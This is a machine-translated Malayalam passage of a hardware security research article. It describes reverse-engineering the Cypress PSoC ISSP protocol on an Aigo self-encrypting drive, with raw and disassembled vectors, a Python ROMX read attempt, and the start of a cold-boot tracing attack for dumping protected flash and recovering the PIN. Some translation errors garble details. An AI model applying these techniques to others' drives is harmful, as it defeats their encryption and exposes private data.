ബാഹ്യ സ്വയം-എൻക്രിപ്റ്റിംഗ് ഡ്രൈവുകൾ ഹാക്ക് ചെയ്യുന്നതിനെക്കുറിച്ചുള്ള ലേഖനത്തിന്റെ രണ്ടാമത്തെയും അവസാനത്തെയും ഭാഗമാണിത്. അടുത്തിടെ ഒരു സഹപ്രവർത്തകൻ എനിക്ക് ഒരു ദേശസ്നേഹി (Aigo) SK8671 ഹാർഡ് ഡ്രൈവ് കൊണ്ടുവന്നുവെന്ന് ഞാൻ നിങ്ങളെ ഓർമ്മിപ്പിക്കട്ടെ, അത് തിരിച്ചെടുക്കാൻ ഞാൻ തീരുമാനിച്ചു, ഇപ്പോൾ അതിൽ നിന്ന് വന്ന കാര്യങ്ങൾ ഞാൻ പങ്കിടുന്നു. കൂടുതൽ വായിക്കുന്നതിന് മുമ്പ്, തീർച്ചയായും വായിക്കുക ആദ്യ ഭാഗം ലേഖനങ്ങൾ.

4. ഞങ്ങൾ ആന്തരിക PSoC ഫ്ലാഷ് ഡ്രൈവിൽ നിന്ന് ഒരു ഡംപ് എടുക്കാൻ തുടങ്ങുന്നു
5. ISSP പ്രോട്ടോക്കോൾ
– 5.1. എന്താണ് ISSP
– 5.2. ഡീമിസ്റ്റിഫൈയിംഗ് വെക്ടറുകൾ
– 5.3. പിഎസ്ഒസിയുമായി ആശയവിനിമയം
– 5.4. ഓൺ-ചിപ്പ് രജിസ്റ്ററുകളുടെ ഐഡന്റിഫിക്കേഷൻ
– 5.5. സുരക്ഷാ ബിറ്റുകൾ
6. ആദ്യ (പരാജയപ്പെട്ട) ആക്രമണം: ROMX
7. രണ്ടാമത്തെ ആക്രമണം: കോൾഡ് ബൂട്ട് ട്രേസിംഗ്
– 7.1. നടപ്പിലാക്കൽ
– 7.2. ഫലം വായിക്കുന്നു
– 7.3. ഫ്ലാഷ് ബൈനറി പുനർനിർമ്മാണം
– 7.4. പിൻ കോഡ് സംഭരണ ​​വിലാസം കണ്ടെത്തുന്നു
– 7.5. ബ്ലോക്ക് നമ്പർ 126-ന്റെ ഒരു ഡംപ് എടുക്കൽ
– 7.6. പിൻ കോഡ് വീണ്ടെടുക്കൽ
8. അടുത്തത് എന്താണ്?
9. ഉപസംഹാരം

4. ഞങ്ങൾ ആന്തരിക PSoC ഫ്ലാഷ് ഡ്രൈവിൽ നിന്ന് ഒരു ഡംപ് എടുക്കാൻ തുടങ്ങുന്നു

അതിനാൽ, PIN കോഡ് PSoC- യുടെ ഫ്ലാഷ് ഡെപ്‌സിൽ സംഭരിച്ചിരിക്കുന്നുവെന്ന് എല്ലാം സൂചിപ്പിക്കുന്നു ([ആദ്യ ഭാഗം]() ൽ ഞങ്ങൾ സ്ഥാപിച്ചതുപോലെ). അതിനാൽ, ഈ ഫ്ലാഷ് ഡെപ്‌റ്റുകൾ നാം വായിക്കേണ്ടതുണ്ട്. ആവശ്യമായ ജോലിയുടെ മുൻഭാഗം:

• മൈക്രോകൺട്രോളറുമായി "ആശയവിനിമയം" നിയന്ത്രിക്കുക;
• ഈ "ആശയവിനിമയം" പുറത്തുനിന്നുള്ള വായനയിൽ നിന്ന് സംരക്ഷിക്കപ്പെട്ടിട്ടുണ്ടോ എന്ന് പരിശോധിക്കുന്നതിനുള്ള ഒരു മാർഗ്ഗം കണ്ടെത്തുക;
• സംരക്ഷണം മറികടക്കാൻ ഒരു വഴി കണ്ടെത്തുക.

സാധുവായ ഒരു പിൻ കോഡിനായി നോക്കുന്നത് അർത്ഥമാക്കുന്ന രണ്ട് സ്ഥലങ്ങളുണ്ട്:

• ആന്തരിക ഫ്ലാഷ് മെമ്മറി;
• SRAM, ഉപയോക്താവ് നൽകിയ പിൻ കോഡുമായി താരതമ്യം ചെയ്യാൻ പിൻ കോഡ് സംഭരിക്കാൻ കഴിയും.

മുന്നോട്ട് നോക്കുമ്പോൾ, ISSP പ്രോട്ടോക്കോളിന്റെ രേഖപ്പെടുത്താത്ത കഴിവുകൾ മാറ്റിമറിച്ചതിന് ശേഷം, "കോൾഡ് ബൂട്ട് ട്രെയ്‌സിംഗ്" എന്ന ഹാർഡ്‌വെയർ ആക്രമണം ഉപയോഗിച്ച് അതിന്റെ സുരക്ഷാ സംവിധാനത്തെ മറികടന്ന് - ആന്തരിക PSoC ഫ്ലാഷ് ഡ്രൈവിന്റെ ഒരു ഡംപ് എടുക്കാൻ എനിക്ക് ഇപ്പോഴും കഴിഞ്ഞുവെന്ന് ഞാൻ ശ്രദ്ധിക്കും. യഥാർത്ഥ പിൻ കോഡ് നേരിട്ട് ഡംപ് ചെയ്യാൻ ഇത് എന്നെ അനുവദിച്ചു.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

അവസാന പ്രോഗ്രാം കോഡ്:

• എച്ച്എസ്എസ്പിക്കുള്ള ആർഡ്വിനോ കോഡ്;
• പൈത്തൺ ഡ്രൈവറും ISSP ഡിസ്അസംബ്ലറും.

5. ISSP പ്രോട്ടോക്കോൾ

5.1 എന്താണ് ISSP

ഒരു മൈക്രോകൺട്രോളറുമായുള്ള "ആശയവിനിമയം" എന്നതിന് വ്യത്യസ്ത കാര്യങ്ങൾ അർത്ഥമാക്കാം: "വെണ്ടർ മുതൽ വെണ്ടർ വരെ" ഒരു സീരിയൽ പ്രോട്ടോക്കോൾ ഉപയോഗിച്ചുള്ള ഇടപെടൽ വരെ (ഉദാഹരണത്തിന്, മൈക്രോചിപ്പിന്റെ പിഐസിക്കുള്ള ICSP).

ഇതിനായി സൈപ്രസിന് അതിന്റേതായ പ്രൊപ്രൈറ്ററി പ്രോട്ടോക്കോൾ ഉണ്ട്, ഇതിനെ ISSP (ഇൻ-സിസ്റ്റം സീരിയൽ പ്രോഗ്രാമിംഗ് പ്രോട്ടോക്കോൾ) എന്ന് വിളിക്കുന്നു, ഇത് ഭാഗികമായി വിവരിച്ചിരിക്കുന്നു. സാങ്കേതിക സ്പെസിഫിക്കേഷൻ. പേറ്റന്റ് US7185162 ചില വിവരങ്ങളും നൽകുന്നു. HSSP എന്ന പേരിൽ ഒരു ഓപ്പൺസോഴ്സ് തത്തുല്യവും ഉണ്ട് (ഞങ്ങൾ ഇത് കുറച്ച് കഴിഞ്ഞ് ഉപയോഗിക്കും). ISSP ഇനിപ്പറയുന്ന രീതിയിൽ പ്രവർത്തിക്കുന്നു:

• PSoC റീബൂട്ട് ചെയ്യുക;
• ഈ PSoC-യുടെ സീരിയൽ ഡാറ്റാ പിന്നിലേക്ക് മാജിക് നമ്പർ ഔട്ട്പുട്ട് ചെയ്യുക; ബാഹ്യ പ്രോഗ്രാമിംഗ് മോഡിൽ പ്രവേശിക്കാൻ;
• കമാൻഡുകൾ അയയ്ക്കുക, അവ "വെക്റ്ററുകൾ" എന്ന് വിളിക്കപ്പെടുന്ന ലോംഗ് ബിറ്റ് സ്ട്രിംഗുകളാണ്.

ISSP ഡോക്യുമെന്റേഷൻ ഈ വെക്റ്ററുകളെ ഒരുപിടി കമാൻഡുകൾക്ക് മാത്രം നിർവചിക്കുന്നു:

• ആരംഭിക്കുക-1
• ആരംഭിക്കുക-2
• Initialize-3 (3V, 5V ഓപ്ഷനുകൾ)
• ഐഡി-സെറ്റപ്പ്
• റീഡ്-ഐഡി-വേഡ്
• SET-BLOCK-NUM: 10011111010ddddddd111, ഇവിടെ dddddddd=block #
• ബൾക്ക് മായ്ക്കുക
• പ്രോഗ്രാം-ബ്ലോക്ക്
• വെരിഫൈ-സെറ്റപ്പ്
• റീഡ്-ബൈറ്റ്: 10110aaaaZDDDDDDDDZ1, ഇവിടെ DDDDDDDD = ഡാറ്റ ഔട്ട്, aaaaa = വിലാസം (6 ബിറ്റുകൾ)
• എഴുതുക-ബൈറ്റ്: 10010aaaaaddddddd111, ഇവിടെ dddddddd = ഡാറ്റ ഇൻ, aaaaa = വിലാസം (6 ബിറ്റുകൾ)
• സുരക്ഷിത
• ചെക്ക്സം-സെറ്റപ്പ്
• റീഡ്-ചെക്ക്‌സം: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, ഇവിടെ DDDDDDDDDDDDDDD = ഡാറ്റ ഔട്ട്: ഉപകരണ ചെക്ക്സം
• മായ്ക്കുക ബ്ലോക്ക്

ഉദാഹരണത്തിന്, Initialize-2 നുള്ള വെക്റ്റർ:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

എല്ലാ വെക്‌ടറുകൾക്കും ഒരേ നീളമുണ്ട്: 22 ബിറ്റുകൾ. HSSP ഡോക്യുമെന്റേഷനിൽ ISSP-യെ കുറിച്ചുള്ള ചില അധിക വിവരങ്ങൾ ഉണ്ട്: "ഒരു ISSP വെക്റ്റർ എന്നത് ഒരു കൂട്ടം നിർദ്ദേശങ്ങളെ പ്രതിനിധീകരിക്കുന്ന ഒരു ബിറ്റ് സീക്വൻസല്ലാതെ മറ്റൊന്നുമല്ല."

5.2 ഡീമിസ്റ്റിഫൈയിംഗ് വെക്ടറുകൾ

ഇവിടെ എന്താണ് സംഭവിക്കുന്നതെന്ന് നമുക്ക് കണ്ടെത്താം. തുടക്കത്തിൽ, ഇതേ വെക്‌ടറുകൾ M8C നിർദ്ദേശങ്ങളുടെ അസംസ്‌കൃത പതിപ്പാണെന്ന് ഞാൻ അനുമാനിച്ചു, എന്നാൽ ഈ സിദ്ധാന്തം പരിശോധിച്ച ശേഷം, പ്രവർത്തനങ്ങളുടെ ഒപ്‌കോഡുകൾ പൊരുത്തപ്പെടുന്നില്ലെന്ന് ഞാൻ കണ്ടെത്തി.

പിന്നെ മുകളിലെ വെക്റ്റർ ഗൂഗിൾ ചെയ്തു നോക്കി ഈ രചയിതാവ് വിശദമായി പറയുന്നില്ലെങ്കിലും ഉപയോഗപ്രദമായ ചില നുറുങ്ങുകൾ നൽകുന്ന ഒരു പഠനം: “ഓരോ നിർദ്ദേശങ്ങളും ആരംഭിക്കുന്നത് നാല് ഓർമ്മപ്പെടുത്തലുകളിൽ ഒന്നുമായി പൊരുത്തപ്പെടുന്ന മൂന്ന് ബിറ്റുകളിൽ നിന്നാണ് (റാമിൽ നിന്ന് വായിക്കുക, റാമിലേക്ക് എഴുതുക, രജിസ്റ്റർ വായിക്കുക, രജിസ്റ്റർ എഴുതുക). തുടർന്ന് 8 അഡ്രസ് ബിറ്റുകൾ ഉണ്ട്, തുടർന്ന് 8 ഡാറ്റ ബിറ്റുകൾ (വായിക്കുക അല്ലെങ്കിൽ എഴുതുക), ഒടുവിൽ മൂന്ന് സ്റ്റോപ്പ് ബിറ്റുകൾ.

അപ്പോൾ സൂപ്പർവൈസറി റോം (SROM) വിഭാഗത്തിൽ നിന്ന് വളരെ ഉപയോഗപ്രദമായ ചില വിവരങ്ങൾ ശേഖരിക്കാൻ എനിക്ക് കഴിഞ്ഞു. സാങ്കേതിക മാനുവൽ. ഉപയോക്തൃ സ്ഥലത്ത് പ്രവർത്തിക്കുന്ന പ്രോഗ്രാം കോഡിനായി യൂട്ടിലിറ്റി ഫംഗ്‌ഷനുകൾ (Syscall-ന് സമാനമായ രീതിയിൽ) നൽകുന്ന PSoC-യിലെ ഹാർഡ്-കോഡുചെയ്‌ത ROM ആണ് SROM:

• 00h:SWBootReset
• 01 മണിക്കൂർ: റീഡ്ബ്ലോക്ക്
• 02 മണിക്കൂർ: റൈറ്റ്ബ്ലോക്ക്
• 03h: EraseBlock
• 06 മണിക്കൂർ: ടേബിൾ റീഡ്
• 07 മണിക്കൂർ: ചെക്ക്സം
• 08 മണിക്കൂർ: കാലിബ്രേറ്റ്0
• 09 മണിക്കൂർ: കാലിബ്രേറ്റ്1

വെക്‌ടർ പേരുകൾ SROM ഫംഗ്‌ഷനുകളുമായി താരതമ്യം ചെയ്യുന്നതിലൂടെ, ഈ പ്രോട്ടോക്കോൾ പിന്തുണയ്ക്കുന്ന വിവിധ പ്രവർത്തനങ്ങളെ പ്രതീക്ഷിക്കുന്ന SROM പാരാമീറ്ററുകളിലേക്ക് നമുക്ക് മാപ്പ് ചെയ്യാൻ കഴിയും. ഇതിന് നന്ദി, ISSP വെക്റ്ററുകളുടെ ആദ്യത്തെ മൂന്ന് ബിറ്റുകൾ നമുക്ക് ഡീകോഡ് ചെയ്യാൻ കഴിയും:

• 100 => "wrem"
• 101 => “rdmem”
• 110 => "wrreg"
• 111 => "rdreg"

എന്നിരുന്നാലും, PSoC-യുമായുള്ള നേരിട്ടുള്ള ആശയവിനിമയത്തിലൂടെ മാത്രമേ ഓൺ-ചിപ്പ് പ്രക്രിയകളെക്കുറിച്ച് പൂർണ്ണമായ ധാരണ ലഭിക്കുകയുള്ളൂ.

5.3 പിഎസ്ഒസിയുമായി ആശയവിനിമയം

ഡിർക്ക് പെട്രൗട്ട്സ്കി ഇതിനകം ഉള്ളതിനാൽ പോർട്ട് ചെയ്തു Arduino-ലെ സൈപ്രസിന്റെ HSSP കോഡ്, കീബോർഡ് ബോർഡിന്റെ ISSP കണക്റ്ററിലേക്ക് കണക്റ്റുചെയ്യാൻ ഞാൻ Arduino Uno ഉപയോഗിച്ചു.

എന്റെ ഗവേഷണത്തിനിടയിൽ, ഞാൻ ഡിർക്കിന്റെ കോഡ് അൽപ്പം മാറ്റി. നിങ്ങൾക്ക് GitHub-ൽ എന്റെ പരിഷ്‌ക്കരണം കണ്ടെത്താനാകും: ഇവിടെ ആർഡ്വിനോയുമായി ആശയവിനിമയം നടത്തുന്നതിനുള്ള അനുബന്ധ പൈത്തൺ സ്ക്രിപ്റ്റും എന്റെ ശേഖരത്തിൽ cypress_psoc_tools.

അതിനാൽ, Arduino ഉപയോഗിച്ച്, ഞാൻ ആദ്യം "ആശയവിനിമയ"ത്തിനായി "ഔദ്യോഗിക" വെക്റ്ററുകൾ മാത്രമാണ് ഉപയോഗിച്ചത്. VERIFY കമാൻഡ് ഉപയോഗിച്ച് ഞാൻ ഇന്റേണൽ റോം വായിക്കാൻ ശ്രമിച്ചു. പ്രതീക്ഷിച്ചതുപോലെ, എനിക്ക് ഇത് ചെയ്യാൻ കഴിഞ്ഞില്ല. ഫ്ലാഷ് ഡ്രൈവിനുള്ളിൽ റീഡ് പ്രൊട്ടക്ഷൻ ബിറ്റുകൾ സജീവമാക്കിയതിനാലാകാം.

പിന്നീട് മെമ്മറി/രജിസ്‌റ്ററുകൾ എഴുതുന്നതിനും വായിക്കുന്നതിനുമായി ഞാൻ എന്റെ സ്വന്തം ലളിതമായ വെക്‌ടറുകൾ സൃഷ്‌ടിച്ചു. ഫ്ലാഷ് ഡ്രൈവ് പരിരക്ഷിച്ചിട്ടുണ്ടെങ്കിലും നമുക്ക് മുഴുവൻ SROM വായിക്കാൻ കഴിയുമെന്നത് ശ്രദ്ധിക്കുക!

5.4 ഓൺ-ചിപ്പ് രജിസ്റ്ററുകളുടെ ഐഡന്റിഫിക്കേഷൻ

"ഡിസ്അസംബ്ലിംഗ് ചെയ്ത" വെക്റ്ററുകൾ നോക്കിയ ശേഷം, പരിരക്ഷയെ മറികടന്ന് നേരിട്ട് നടപ്പിലാക്കുന്ന M0C ഒപ്‌കോഡുകൾ വ്യക്തമാക്കുന്നതിന് ഉപകരണം രേഖപ്പെടുത്താത്ത രജിസ്റ്ററുകൾ (8xF0-8xFA) ഉപയോഗിക്കുന്നുണ്ടെന്ന് ഞാൻ കണ്ടെത്തി. "ADD", "MOV A, X", "PUSH" അല്ലെങ്കിൽ "JMP" എന്നിങ്ങനെ വിവിധ ഒപ്‌കോഡുകൾ പ്രവർത്തിപ്പിക്കാൻ ഇത് എന്നെ അനുവദിച്ചു. അവർക്ക് നന്ദി (അവർ രജിസ്റ്ററുകളിൽ ഉണ്ടാക്കുന്ന പാർശ്വഫലങ്ങൾ നോക്കുന്നതിലൂടെ) രേഖപ്പെടുത്താത്ത രജിസ്റ്ററുകളിൽ ഏതൊക്കെയാണ് യഥാർത്ഥ രജിസ്റ്ററുകളെന്ന് നിർണ്ണയിക്കാൻ എനിക്ക് കഴിഞ്ഞു (A, X, SP, PC).

തൽഫലമായി, HSSP_disas.rb ടൂൾ സൃഷ്‌ടിച്ച “ഡിസംബ്ലിംഗ് ചെയ്‌ത” കോഡ് ഇതുപോലെ കാണപ്പെടുന്നു (വ്യക്തതയ്ക്കായി ഞാൻ അഭിപ്രായങ്ങൾ ചേർത്തു):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5 സുരക്ഷാ ബിറ്റുകൾ

ഈ ഘട്ടത്തിൽ എനിക്ക് ഇതിനകം തന്നെ PSoC യുമായി ആശയവിനിമയം നടത്താൻ കഴിയും, എന്നാൽ ഫ്ലാഷ് ഡ്രൈവിന്റെ സുരക്ഷാ ബിറ്റുകളെക്കുറിച്ചുള്ള വിശ്വസനീയമായ വിവരങ്ങൾ ഇപ്പോഴും എനിക്കില്ല. സംരക്ഷണം സജീവമാക്കിയിട്ടുണ്ടോ എന്ന് പരിശോധിക്കാൻ സൈപ്രസ് ഉപകരണത്തിന്റെ ഉപയോക്താവിന് ഒരു മാർഗവും നൽകുന്നില്ല എന്ന വസ്തുത എന്നെ വളരെ ആശ്ചര്യപ്പെടുത്തി. സൈപ്രസ് നൽകിയ എച്ച്എസ്എസ്പി കോഡ് ഡിർക്ക് തന്റെ പരിഷ്‌ക്കരണം പുറത്തിറക്കിയതിന് ശേഷം അപ്‌ഡേറ്റ് ചെയ്‌തുവെന്ന് മനസിലാക്കാൻ ഞാൻ ഗൂഗിളിലേക്ക് ആഴത്തിൽ കുഴിച്ചു. അതുകൊണ്ട്! ഈ പുതിയ വെക്റ്റർ പ്രത്യക്ഷപ്പെട്ടു:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

ഈ വെക്റ്റർ ഉപയോഗിച്ച് (psoc.py-യിലെ read_security_data കാണുക), 0x80-ൽ SRAM-ൽ നമുക്ക് എല്ലാ സെക്യൂരിറ്റി ബിറ്റുകളും ലഭിക്കും, ഇവിടെ ഒരു സംരക്ഷിത ബ്ലോക്കിന് രണ്ട് ബിറ്റുകൾ ഉണ്ട്.

ഫലം നിരാശാജനകമാണ്: എല്ലാം "ബാഹ്യ വായനയും എഴുത്തും അപ്രാപ്തമാക്കുക" മോഡിൽ പരിരക്ഷിച്ചിരിക്കുന്നു. അതിനാൽ, ഞങ്ങൾക്ക് ഒരു ഫ്ലാഷ് ഡ്രൈവിൽ നിന്ന് ഒന്നും വായിക്കാൻ കഴിയില്ലെന്ന് മാത്രമല്ല, ഞങ്ങൾക്ക് ഒന്നും എഴുതാനും കഴിയില്ല (ഉദാഹരണത്തിന്, അവിടെ ഒരു റോം ഡമ്പർ ഇൻസ്റ്റാൾ ചെയ്യാൻ). സംരക്ഷണം പ്രവർത്തനരഹിതമാക്കാനുള്ള ഏക മാർഗം മുഴുവൻ ചിപ്പും പൂർണ്ണമായും മായ്ക്കുക എന്നതാണ്. 🙁

6. ആദ്യ (പരാജയപ്പെട്ട) ആക്രമണം: ROMX

എന്നിരുന്നാലും, നമുക്ക് ഇനിപ്പറയുന്ന ട്രിക്ക് പരീക്ഷിക്കാം: അനിയന്ത്രിതമായ ഒപ്‌കോഡുകൾ എക്‌സിക്യൂട്ട് ചെയ്യാനുള്ള കഴിവ് ഉള്ളതിനാൽ, ഫ്ലാഷ് മെമ്മറി വായിക്കാൻ ഉപയോഗിക്കുന്ന ROMX എന്തുകൊണ്ട് എക്സിക്യൂട്ട് ചെയ്യരുത്? ഈ സമീപനത്തിന് നല്ല വിജയസാധ്യതയുണ്ട്. കാരണം, SROM-ൽ നിന്നുള്ള ഡാറ്റ വായിക്കുന്ന റീഡ്ബ്ലോക്ക് ഫംഗ്ഷൻ (ഇത് വെക്‌ടറുകൾ ഉപയോഗിക്കുന്നു) അത് ISSP-യിൽ നിന്നാണോ വിളിക്കുന്നതെന്ന് പരിശോധിക്കുന്നു. എന്നിരുന്നാലും, ROMX ഒപ്‌കോഡിന് അത്തരമൊരു പരിശോധന ഉണ്ടാകണമെന്നില്ല. അതിനാൽ ഇതാ പൈത്തൺ കോഡ് (ആർഡ്വിനോ കോഡിലേക്ക് കുറച്ച് ഹെൽപ്പർ ക്ലാസുകൾ ചേർത്തതിന് ശേഷം):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

നിർഭാഗ്യവശാൽ ഈ കോഡ് പ്രവർത്തിക്കുന്നില്ല. 🙁 അല്ലെങ്കിൽ അത് പ്രവർത്തിക്കുന്നു, പക്ഷേ ഔട്ട്‌പുട്ടിൽ (0x28 0x30 0x40) ഞങ്ങൾക്ക് ഞങ്ങളുടെ സ്വന്തം ഒപ്‌കോഡുകൾ ലഭിക്കും! ഉപകരണത്തിന്റെ അനുബന്ധ പ്രവർത്തനം വായന പരിരക്ഷയുടെ ഒരു ഘടകമാണെന്ന് ഞാൻ കരുതുന്നില്ല. ഇതൊരു എഞ്ചിനീയറിംഗ് ട്രിക്ക് പോലെയാണ്: ബാഹ്യ ഒപ്‌കോഡുകൾ എക്‌സിക്യൂട്ട് ചെയ്യുമ്പോൾ, റോം ബസ് ഒരു താൽക്കാലിക ബഫറിലേക്ക് റീഡയറക്‌ട് ചെയ്യുന്നു.

7. രണ്ടാമത്തെ ആക്രമണം: കോൾഡ് ബൂട്ട് ട്രേസിംഗ്

ROMX ട്രിക്ക് പ്രവർത്തിക്കാത്തതിനാൽ, ഈ ട്രിക്കിന്റെ മറ്റൊരു വ്യതിയാനത്തെക്കുറിച്ച് ഞാൻ ചിന്തിക്കാൻ തുടങ്ങി - പ്രസിദ്ധീകരണത്തിൽ വിവരിച്ചിരിക്കുന്നു "ഒരു മൈക്രോകൺട്രോളറിന്റെ ഫേംവെയർ പരിരക്ഷയിൽ വളരെയധികം വെളിച്ചം വീശുന്നു".

7.1. നടപ്പിലാക്കൽ

ISSP ഡോക്യുമെന്റേഷൻ CHECKSUM-SETUP-നായി ഇനിപ്പറയുന്ന വെക്റ്റർ നൽകുന്നു:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

ഡോക്യുമെന്റേഷനിൽ (ഇറ്റാലിക്സ് മൈൻ) അവതരിപ്പിച്ചിരിക്കുന്നതുപോലെ ഇത് SROM ഫംഗ്‌ഷനെ 0x07 എന്ന് വിളിക്കുന്നു:

ഈ ഫംഗ്‌ഷൻ ചെക്ക്‌സം സ്ഥിരീകരണം. പൂജ്യത്തിൽ നിന്ന് ആരംഭിക്കുന്ന ഒരു ഫ്ലാഷ് ബാങ്കിലെ ഉപയോക്തൃ-നിർദിഷ്ട ബ്ലോക്കുകളുടെ എണ്ണത്തിന്റെ 16-ബിറ്റ് ചെക്ക്സം ഇത് കണക്കാക്കുന്നു. ചെക്ക്സം കണക്കാക്കുമ്പോൾ ഉപയോഗിക്കേണ്ട ബ്ലോക്കുകളുടെ എണ്ണം കൈമാറാൻ BLOCKID പാരാമീറ്റർ ഉപയോഗിക്കുന്നു. "1" ന്റെ മൂല്യം ബ്ലോക്ക് പൂജ്യത്തിനായുള്ള ചെക്ക്സം മാത്രമേ കണക്കാക്കൂ; അതേസമയം ഫ്ലാഷ് ബാങ്കിന്റെ എല്ലാ 0 ബ്ലോക്കുകളുടെയും ആകെ ചെക്ക്സം കണക്കാക്കാൻ "256" കാരണമാകും. 16-ബിറ്റ് ചെക്ക്സം KEY1, KEY2 എന്നിവ വഴി തിരികെ നൽകുന്നു. KEY1 പാരാമീറ്റർ ചെക്ക്‌സത്തിന്റെ ലോ-ഓർഡർ 8 ബിറ്റുകളും KEY2 പാരാമീറ്റർ ഉയർന്ന ഓർഡർ 8 ബിറ്റുകളും സംഭരിക്കുന്നു. നിരവധി ഫ്ലാഷ് ബാങ്കുകളുള്ള ഉപകരണങ്ങൾക്കായി, ചെക്ക്സം ഫംഗ്ഷൻ ഓരോന്നിനും പ്രത്യേകം വിളിക്കുന്നു. FLS_PR1 രജിസ്റ്ററാണ് ഇത് പ്രവർത്തിക്കുന്ന ബാങ്ക് നമ്പർ സജ്ജീകരിച്ചിരിക്കുന്നത് (ടാർഗെറ്റ് ഫ്ലാഷ് ബാങ്കുമായി ബന്ധപ്പെട്ട ബിറ്റ് സജ്ജീകരിച്ച്).

ഇതൊരു ലളിതമായ ചെക്ക്സം ആണെന്ന് ശ്രദ്ധിക്കുക: ബൈറ്റുകൾ ഒന്നിനുപുറകെ ഒന്നായി ചേർക്കുന്നു; ഫാൻസി CRC വൈചിത്ര്യങ്ങളൊന്നുമില്ല. കൂടാതെ, M8C കോറിന് വളരെ ചെറിയ രജിസ്റ്ററുകൾ ഉണ്ടെന്ന് അറിഞ്ഞുകൊണ്ട്, ചെക്ക്സം കണക്കാക്കുമ്പോൾ, ഇന്റർമീഡിയറ്റ് മൂല്യങ്ങൾ അതേ വേരിയബിളുകളിൽ രേഖപ്പെടുത്തുമെന്ന് ഞാൻ അനുമാനിച്ചു, അത് ആത്യന്തികമായി ഔട്ട്പുട്ടിലേക്ക് പോകും: KEY1 (0xF8) / KEY2 ( 0xF9).

അതിനാൽ സിദ്ധാന്തത്തിൽ എന്റെ ആക്രമണം ഇതുപോലെ കാണപ്പെടുന്നു:

1. ഞങ്ങൾ ISSP വഴി ബന്ധിപ്പിക്കുന്നു.
2. CHECKSUM-SETUP വെക്റ്റർ ഉപയോഗിച്ച് ഞങ്ങൾ ചെക്ക്സം കണക്കുകൂട്ടൽ ആരംഭിക്കുന്നു.
3. ഒരു നിശ്ചിത സമയത്തിന് ശേഷം ഞങ്ങൾ പ്രോസസർ റീബൂട്ട് ചെയ്യുന്നു ടി.
4. നിലവിലെ ചെക്ക്സം സി ലഭിക്കാൻ ഞങ്ങൾ റാം വായിക്കുന്നു.
5. 3, 4 ഘട്ടങ്ങൾ ആവർത്തിക്കുക, ഓരോ തവണയും T കുറച്ച് വർദ്ധിപ്പിക്കുക.
6. നിലവിലുള്ളതിൽ നിന്ന് മുമ്പത്തെ ചെക്ക്സം സി കുറച്ചുകൊണ്ട് ഞങ്ങൾ ഒരു ഫ്ലാഷ് ഡ്രൈവിൽ നിന്ന് ഡാറ്റ വീണ്ടെടുക്കുന്നു.

എന്നിരുന്നാലും, ഒരു പ്രശ്നമുണ്ട്: റീബൂട്ടിന് ശേഷം നമ്മൾ അയയ്‌ക്കേണ്ട Initialize-1 വെക്റ്റർ KEY1, KEY2 എന്നിവ പുനരാലേഖനം ചെയ്യുന്നു:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
